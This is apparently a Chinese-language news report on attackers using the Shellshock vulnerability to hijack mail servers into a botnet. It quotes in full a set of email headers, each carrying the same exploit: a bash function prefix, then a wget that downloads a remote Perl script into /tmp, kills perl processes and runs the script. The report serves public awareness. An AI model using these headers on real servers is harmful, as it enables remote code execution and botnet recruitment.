攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。
安全研究人员报告，攻击者向邮件服务器发送特定的消息头字段，诱骗服务器执行一个 Perl脚本，成为僵尸网络的一部分。邮件消息头的构成是：
Shellshock spam October 2014 （IP地址已隐藏）
===
To:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
References:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Cc:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Subject:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Message-ID:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Comments:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Keywords:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Resent-Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Resent-From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
Resent-Sender:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend